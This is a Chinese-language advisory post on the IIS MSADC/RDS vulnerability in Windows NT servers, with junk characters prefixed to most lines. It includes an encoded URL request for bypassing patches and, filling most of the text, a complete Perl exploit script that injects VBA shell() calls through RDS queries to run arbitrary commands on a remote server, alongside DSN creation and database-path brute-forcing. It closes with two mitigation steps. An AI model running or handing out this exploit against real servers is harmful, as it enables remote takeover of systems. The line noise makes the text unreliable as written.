IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
<r}wQ\F# ]oP1c-GEk 涉及程序:
<Kt_
oxK, Microsoft NT server
{SV/AN Z"8lW+r* 描述:
RHUZ:r 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
>~o-6g GK$[ !{w; 详细:
[xqV`(vM 如果你没有时间读详细内容的话,就删除:
6?a`'& c:\Program Files\Common Files\System\Msadc\msadcs.dll
KlT:&1SB9 有关的安全问题就没有了。
`nF SJlr& Vuz.b.,i` 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
R*r4)+gd v~mVf.j1 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
?+]=|hN 关于利用ODBC远程漏洞的描述,请参看:
p@jw)xI i.mv`u Dm http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm M@ U>@x; =Dn<DV 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
!Se0&Ob http://www.microsoft.com/security/bulletins/MS99-025faq.asp %#2$B+ yCxYFi 这里不再论述。
\V-N~_-H KW:N
6w 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
R/=rNUe _ $a3lR /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
s!IIvF 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
>ai,6!
*L^W[o Da-Lf2qT9 #将下面这段保存为txt文件,然后: "perl -x 文件名"
x?L[*N_ml FJ3S
#!perl
@1*^ttC #
3L&: # MSADC/RDS 'usage' (aka exploit) script
3m>YR-n$ #
7${<u 0((! # by rain.forest.puppy
#
55>? #
w5>[hQR\ # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
||:>& # beta test and find errors!
%0GwO%h}, \OW:- use Socket; use Getopt::Std;
gKh*q. getopts("e:vd:h:XR", \%args);
.I^4Fc}&4 AX`Tku print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
#QwkRzVoy }y6|H,t9 if (!defined $args{h} && !defined $args{R}) {
Y
D<3#Dr] print qq~
Tri\5O0lPs Usage: msadc.pl -h <host> { -d <delay> -X -v }
j!4{+&Laq -h <host> = host you want to scan (ip or domain)
X /c8XLe" -d <seconds> = delay between calls, default 1 second
JVoC2Z< -X = dump Index Server path table, if available
-DkD*64wu -v = verbose
X$!fR >Zc -e = external dictionary file for step 5
x17:~[c'] Em!- W5*s Or a -R will resume a command session
E&8Nh J )Q=u[ p ~; exit;}
_*AI1/>` V#Wy`
ce $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
VukbvBWPN if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
cy^=!EfA if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
&@lfr623 if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
e* [wF})) $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
Y#os6|MV# if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
~:Rbd9IB 0z/*JVka if (!defined $args{R}){ $ret = &has_msadc;
_}5vO$kdO die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
S/E&&{`ls "WKOlfPa print "Please type the NT commandline you want to run (cmd /c assumed):\n"
RZHfT0*jL . "cmd /c ";
{.LJ(|(Mz $in=<STDIN>; chomp $in;
RL}?.'! $command="cmd /c " . $in ;
OJm ]gb7 )^(gwE if (defined $args{R}) {&load; exit;}
/5sn*, K+~?yOQj print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
FxlH;'+Q &try_btcustmr;
/NQrE#pb 2G8w&dtu print "\nStep 2: Trying to make our own DSN...";
Y#@D%
a 8 &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
nVs@DH J_7w_T/ print "\nStep 3: Trying known DSNs...";
E`j' <#V! &known_dsn;
`"=Hk@E %6q82}# ` print "\nStep 4: Trying known .mdbs...";
ejd_ 85$ &known_mdb;
$2uC%er"H
?!Y_w2 if (defined $args{e}){
Z#}sK5s print "\nStep 5: Trying dictionary of DSN names...";
z\eQB%aM &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
l9\W=-' #]dm/WzY print "Sorry Charley...maybe next time?\n";
~lV#- m* exit;
wXUR9H|0( E+Bc>xl@m ##############################################################################
~R;/u")@e $6n
J+ sub sendraw { # ripped and modded from whisker
wNUT0 + sleep($delay); # it's a DoS on the server! At least on mine...
My>q%lF=fw my ($pstr)=@_;
bpc1>? socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
8oE`>Y die("Socket problems\n");
!/,oQoG if(connect(S,pack "SnA4x8",2,80,$target)){
x{;{fMN1 select(S); $|=1;
l0'Yq%Nf print $pstr; my @in=<S>;
Nk@-yZ@,8 select(STDOUT); close(S);
f(y+1 return @in;
[0Xuo } else { die("Can't connect...\n"); }}
gs1yWnSv5 ]0> ##############################################################################
8)S)!2_h y^H5iB[SPL sub make_header { # make the HTTP request
;?{^LiD+F my $msadc=<<EOT
N7s0Ua'-v POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
Gbhw7
(& User-Agent: ACTIVEDATA
_o9axBJs Host: $ip
?jR#txR Content-Length: $clen
.'=S1|_( Connection: Keep-Alive
Sqi9'-%m F%V|Aa ADCClientVersion:01.06
Il&FC Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
N~]qQoj, +Kgl/Wg% --!ADM!ROX!YOUR!WORLD!
%fF,Fnf2 Content-Type: application/x-varg
lZAGoR;0Ra Content-Length: $reqlen
L--
t(G r]Hrz'C` EOT
3u
j|jwL ; $msadc=~s/\n/\r\n/g;
6],?Y+_;)L return $msadc;}
4P#jMox .QP`Qn6 (P ##############################################################################
D zD5n %1TKgNf sub make_req { # make the RDS request
3m&r?xZs my ($switch, $p1, $p2)=@_;
Ar\fA)UQ` my $req=""; my $t1, $t2, $query, $dsn;
!y$##PZ oU)(/ if ($switch==1){ # this is the btcustmr.mdb query
!%$[p' $query="Select * from Customers where City=" . make_shell();
bYLYJ`hH<R $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
x"Ll/E)\v] $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
Pt85q?- > _xAru9=n^ elsif ($switch==2){ # this is general make table query
vk|f"I $query="create table AZZ (B int, C varchar(10))";
B{\Y~>]Pj $dsn="$p1";}
KGDN)@D (LsVd2AbR elsif ($switch==3){ # this is general exploit table query
d_(>:|oh $query="select * from AZZ where C=" . make_shell();
z$1|D{ $dsn="$p1";}
Vl+UC1M}B> P]m{\K elsif ($switch==4){ # attempt to hork file info from index server
hRXnig{;3 $query="select path from scope()";
@N '_qu $dsn="Provider=MSIDXS;";}
Z4G%Ve[ 1^^{;R7N elsif ($switch==5){ # bad query
jS]Saqd $query="select";
Xj]9/?B? $dsn="$p1";}
\
C:Gx4K lrc%GU): $t1= make_unicode($query);
k% \;$u=% $t2= make_unicode($dsn);
:sw5@JdJ $req = "\x02\x00\x03\x00";
D?y-Y
$req.= "\x08\x00" . pack ("S1", length($t1));
8/p ]'BLf $req.= "\x00\x00" . $t1 ;
s:'>G;p $req.= "\x08\x00" . pack ("S1", length($t2));
'?$@hqQn $req.= "\x00\x00" . $t2 ;
l'm|** $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
~H#c-B return $req;}
Oa:C'M
b #qVvh3#g ##############################################################################
w &YUb,{Y .pZYPKMaE sub make_shell { # this makes the shell() statement
.}F
39TS2 return "'|shell(\"$command\")|'";}
]N}/L
lq W\j'8^kI9 ##############################################################################
I wj[ ^ #rW-jW=A sub make_unicode { # quick little function to convert to unicode
waz5+l28 my ($in)=@_; my $out;
d(}?
\| for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
Ag T)J return $out;}
2wO8;wiA }{+?>!qD t ##############################################################################
zATOFV ag8)^p'9 sub rdo_success { # checks for RDO return success (this is kludge)
a
7v^o` my (@in) = @_; my $base=content_start(@in);
)}$rgYKJ if($in[$base]=~/multipart\/mixed/){
Ruq;:5u return 1 if( $in[$base+10]=~/^\x09\x00/ );}
3KqRw (BK return 0;}
i9 CQ~ zdem}kBIe ##############################################################################
w!*ZS~v/r m~;.kc sub make_dsn { # this makes a DSN for us
U$DZht4>u my @drives=("c","d","e","f");
>lmqPuf print "\nMaking DSN: ";
aVHID{Gf Z foreach $drive (@drives) {
tWl')^ print "$drive: ";
P_jav0j7g my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
\="U|LzG "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
:BR_%$ . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
O6e$v I@ $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
"&XhMw4 return 0 if $2 eq "404"; # not found/doesn't exist
fiC0'4., if($2 eq "200") {
?v,c) foreach $line (@results) {
uUS~"\`fk return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
;R&W#Q7>3 } return 0;}
|63uoRr OS%[SHs ##############################################################################
5fs,UH k2loGvBJ sub verify_exists {
@Wd(>*"zw my ($page)=@_;
"<Di my @results=sendraw("GET $page HTTP/1.0\n\n");
C<C^7-5 return $results[0];}
QNE/SSL w)K547!00 ##############################################################################
lNc0znY PC"=B[OlJ sub try_btcustmr {
=ZoNkj/^, my @drives=("c","d","e","f");
D$KP>G my @dirs=("winnt","winnt35","winnt351","win","windows");
| J'k9W" RpU i' foreach $dir (@dirs) {
Tn,_0 print "$dir -> "; # fun status so you can see progress
8S#&XS>o foreach $drive (@drives) {
V4u4{wU] print "$drive: "; # ditto
<% mD#S $reqlen=length( make_req(1,$drive,$dir) ) - 28;
6;~V@t $reqlenlen=length( "$reqlen" );
B.?F^m@zS $clen= 206 + $reqlenlen + $reqlen;
vp&. <Ed; tq my @results=sendraw(make_header() . make_req(1,$drive,$dir));
9pi{)PDJ if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
Q7`)&^
Hx else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
k5%) s hq
+ ##############################################################################
^^k9Acd~p LdOqV'&r sub odbc_error {
\N0wf-qa= my (@in)=@_; my $base;
NG\'Ii:-J my $base = content_start(@in);
e|SNb*_ if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
o=7e8l $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
H{_D#It $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
~U7Bo(EJp $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
qoT&N,/ return $in[$base+4].$in[$base+5].$in[$base+6];}
Y]~-S print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
;j~%11 print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
m0W3pf $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
lZkJ<*z# ?t}s3P!Q3w ##############################################################################
(VkO[5j r1.zURY sub verbose {
=>o ! my ($in)=@_;
v 9G~i return if !$verbose;
_ZJQE>]nWu print STDOUT "\n$in\n";}
Nz"K`C>/ m' j1 ##############################################################################
g"!cO^GkT }/tf^@ sub save {
%Y/;jCY my ($p1, $p2, $p3, $p4)=@_;
$M,Q"QL open(OUT, ">rds.save") || print "Problem saving parameters...\n";
IEM{? print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
pi70^`@ 'B close OUT;}
[Djx@x L|D9+u L ##############################################################################
npytb*[|c :
maBec) sub load {
n<)A5UB5- my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
39[ylR|\ open(IN,"<rds.save") || die("Couldn't open rds.save\n");
9%R"(X) @p=<IN>; close(IN);
nT~XctwF $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
?|NsaW $target= inet_aton($ip) || die("inet_aton problems");
A3HNMz print "Resuming to $ip ...";
j,%i.[8S $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
[SKDsJRPP if($p[1]==1) {
O\oRM2^u} $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
1f"}]MbLR $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
[".94(qs my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
XdzC/{G if (rdo_success(@results)){print "Success!\n";}
8.%wnH else { print "failed\n"; verbose(odbc_error(@results));}}
G.N` elsif ($p[1]==3){
f]sR4mhO if(run_query("$p[3]")){
iz [IK%K print "Success!\n";} else { print "failed\n"; }}
|"b|Q elsif ($p[1]==4){
Dbx zqd if(run_query($drvst . "$p[3]")){
n0K+/}m print "Success!\n"; } else { print "failed\n"; }}
xe.f]a exit;}
1NTx?JJfW [(3 %$?[ ##############################################################################
03 iy[~Y2 PktnjdFV sub create_table {
~ e<,GUx(] my ($in)=@_;
V3|"
v4 $reqlen=length( make_req(2,$in,"") ) - 28;
Zy)iNNtn $reqlenlen=length( "$reqlen" );
T1?9E{bC8A $clen= 206 + $reqlenlen + $reqlen;
Cnc=GTRi my @results=sendraw(make_header() . make_req(2,$in,""));
G^;]]Ji" return 1 if rdo_success(@results);
.;U?%t_7 my $temp= odbc_error(@results); verbose($temp);
BTOl`U return 1 if $temp=~/Table 'AZZ' already exists/;
lR
F5/ return 0;}
cN2Pl%7 *Br
}U ##############################################################################
xrlyph5mE 4__HH~j ?Q sub known_dsn {
]$.w
I~J% # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
^[+2P?^K my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
"9~KVILlLu "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
cYOcl-*af "banner", "banners", "ads", "ADCDemo", "ADCTest");
[%/B"wTt <
uV@/fn< foreach $dSn (@dsns) {
eH*i_g' print ".";
3qV~C{S next if (!is_access("DSN=$dSn"));
gC%$)4-: if(create_table("DSN=$dSn")){
cdI"=B+C\ print "$dSn successful\n";
39~WP$GM if(run_query("DSN=$dSn")){
5ff5M=M print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
JHg;2xm"<K print "Something's borked. Use verbose next time\n";}}} print "\n";}
}lq$Fi/ WhFE{-!gX ##############################################################################
OzH\YN PVN`k, 4 sub is_access {
3UQBIrQ my ($in)=@_;
l Ny<E!0 $reqlen=length( make_req(5,$in,"") ) - 28;
LR4W $reqlenlen=length( "$reqlen" );
n(n7"+B $clen= 206 + $reqlenlen + $reqlen;
#!m^EqF1_ my @results=sendraw(make_header() . make_req(5,$in,""));
l4I',79l my $temp= odbc_error(@results);
Y_XRf8Sw verbose($temp); return 1 if ($temp=~/Microsoft Access/);
$fPiR return 0;}
3EA_-? OzxiT + ##############################################################################
!QqVJ a{j od !s5f! sub run_query {
zQGj,EAM} my ($in)=@_;
qM>Dt $reqlen=length( make_req(3,$in,"") ) - 28;
AXo)(\ $reqlenlen=length( "$reqlen" );
hy~KY6Ta $clen= 206 + $reqlenlen + $reqlen;
^g <Lu/5w my @results=sendraw(make_header() . make_req(3,$in,""));
tPw7zFy6r return 1 if rdo_success(@results);
mEb`ET| my $temp= odbc_error(@results); verbose($temp);
l{kacfk# return 0;}
i4SWFa`` >RiU/L ##############################################################################
~X;sa,)L1+ >;s2V_d sub known_mdb {
oChf&W 8u my @drives=("c","d","e","f","g");
2@&"*1(Xu my @dirs=("winnt","winnt35","winnt351","win","windows");
t?;=\%^< my $dir, $drive, $mdb;
sI#h&V,9 my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
gaU^l73,C p@?(m/m$ # this is sparse, because I don't know of many
&Ci_wDJ my @sysmdbs=( "\\catroot\\icatalog.mdb",
# M
Y4Mr "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
kc@\AZb "\\system32\\certmdb.mdb",
<rU+{&FKNL "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
{D]I[7f8Ev N B8Yn\{B my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
#m'+1 s L "\\cfusion\\cfapps\\forums\\forums_.mdb",
\ov]Rn "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
h`tf!M D] "\\cfusion\\cfapps\\security\\realm_.mdb",
1bCS4fs^> "\\cfusion\\cfapps\\security\\data\\realm.mdb",
/ pGx! "\\cfusion\\database\\cfexamples.mdb",
i-sm 9K'ns "\\cfusion\\database\\cfsnippets.mdb",
TP`"x}ACa? "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
K$$%j "s "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
j{m{hVa "\\cfusion\\brighttiger\\database\\cleam.mdb",
PhmtCp0-7- "\\cfusion\\database\\smpolicy.mdb",
m
.En!~t "\\cfusion\\database\cypress.mdb",
tU8aPiUl "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
e.|t12)L " "\\website\\cgi-win\\dbsample.mdb",
E/d\ebX| "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
Hjy4tA7,l "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
xfqu=z8X ); #these are just
,` $2 foreach $drive (@drives) {
(<|1/^~= foreach $dir (@dirs){
| fn%!d`2 foreach $mdb (@sysmdbs) {
U71A#OD^U print ".";
$K1)2WG if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
L$ju~0jl)% print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
DVBsRV)/ if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
MR* %lZpB print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
(Q|Y*yI } else { print "Something's borked. Use verbose next time\n"; }}}}}
hLyV'*} 8PGuZw< foreach $drive (@drives) {
;s-fYS6(>{ foreach $mdb (@mdbs) {
!Ome;gS) print ".";
+C4NhA2 if(create_table($drv . $drive . $dir . $mdb)){
q(5 print "\n" . $drive . $dir . $mdb . " successful\n";
Wk/Il^YG if(run_query($drv . $drive . $dir . $mdb)){
(j}edRUnB print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
,^T0!k$ } else { print "Something's borked. Use verbose next time\n"; }}}}
^P*+0?aFr }
<yKyM#4X ;FjI!V ##############################################################################
{5T:7*J fp"GdkO#}i sub hork_idx {
R1:7]z0B print "\nAttempting to dump Index Server tables...\n";
DEenvS`,P print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
>LFj@YW_) $reqlen=length( make_req(4,"","") ) - 28;
Nw3IDy~T $reqlenlen=length( "$reqlen" );
k%LsjN.S $clen= 206 + $reqlenlen + $reqlen;
NB&zBJ# my @results=sendraw2(make_header() . make_req(4,"",""));
qh wl if (rdo_success(@results)){
2\[
Q{T=Qe my $max=@results; my $c; my %d;
u%CJjy for($c=19; $c<$max; $c++){
&$pA,Gjin\ $results[$c]=~s/\x00//g;
.@Jos^rxgJ $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
Dr#V^"Dte $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
< 'r<MA< $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
X*M-- *0q' $d{"$1$2"}="";}
j1dz'G}hj foreach $c (keys %d){ print "$c\n"; }
w8-L2)Q}I } else {print "Index server doesn't seem to be installed.\n"; }}
l37l| xp~ ,,Vuvn ##############################################################################
xT8!X5; zvbz3 a sub dsn_dict {
JjQTD-^ open(IN, "<$args{e}") || die("Can't open external dictionary\n");
K`cy97 while(<IN>){
h56s ~(?O $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
G*^4CJ next if (!is_access("DSN=$dSn"));
~#JX
0J= if(create_table("DSN=$dSn")){
|Fzt|
\ print "$dSn successful\n";
Ua>.k|>0 if(run_query("DSN=$dSn")){
V5]\|?= print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
rK
cr1VFy print "Something's borked. Use verbose next time\n";}}}
zm^5WH print "\n"; close(IN);}
bY=Yb z-h7v5i" ##############################################################################
yc@:*Z bKPjxN?!9 sub sendraw2 { # ripped and modded from whisker
?*U:=| sleep($delay); # it's a DoS on the server! At least on mine...
rj;~SC{ my ($pstr)=@_;
`AELe_ socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
?Q}3X-xy die("Socket problems\n");
<``krPi if(connect(S,pack "SnA4x8",2,80,$target)){
H~ =;yy print "Connected. Getting data";
Z
,98 open(OUT,">raw.out"); my @in;
}+
TA+; select(S); $|=1; print $pstr;
uulzJbV,K while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
O>arCr=H close(OUT); select(STDOUT); close(S); return @in;
]+AgXUrbOD } else { die("Can't connect...\n"); }}
7e<\11uI]a v7D3aWoe ##############################################################################
KKJ a?e`C ~ouRDO sub content_start { # this will take in the server headers
#4?:4Im# my (@in)=@_; my $c;
U{-[lpd for ($c=1;$c<500;$c++) {
c}#(,<8X if($in[$c] =~/^\x0d\x0a/){
@-}!o&G0 if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
ny+_&l^R~( else { return $c+1; }}}
q3Y49d return -1;} # it should never get here actually
_1HEGX\ !o/;"'&E ##############################################################################
Yk#$-"c/a l)91v"vJ sub funky {
&ETPYf%# my (@in)=@_; my $error=odbc_error(@in);
8'mm<BV;sT if($error=~/ADO could not find the specified provider/){
;5}y7#4C print "\nServer returned an ADO miscofiguration message\nAborting.\n";
R~XNF/QMl exit;}
I$Fr8R$ if($error=~/A Handler is required/){
K|{&SU_m print "\nServer has custom handler filters (they most likely are patched)\n";
q|R$A8)L. exit;}
\W})Z72 if($error=~/specified Handler has denied Access/){
3a6 print "\nServer has custom handler filters (they most likely are patched)\n";
Z`bo1,6> exit;}}
SrSm%Dv yg@}j ##############################################################################
kv?j]<WN )]m_ L$9 sub has_msadc {
:X-\!w\ my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
#.~lt8F my $base=content_start(@results);
VufG7%S{ return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
.[X"+i\ return 0;}
m?Dk(DJ eqWb>$ ########################
` oXL jh.e&6 >oc&hT 解决方案:
v`u>;S_ 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
7)v`l1 2、移除web 目录: /msadc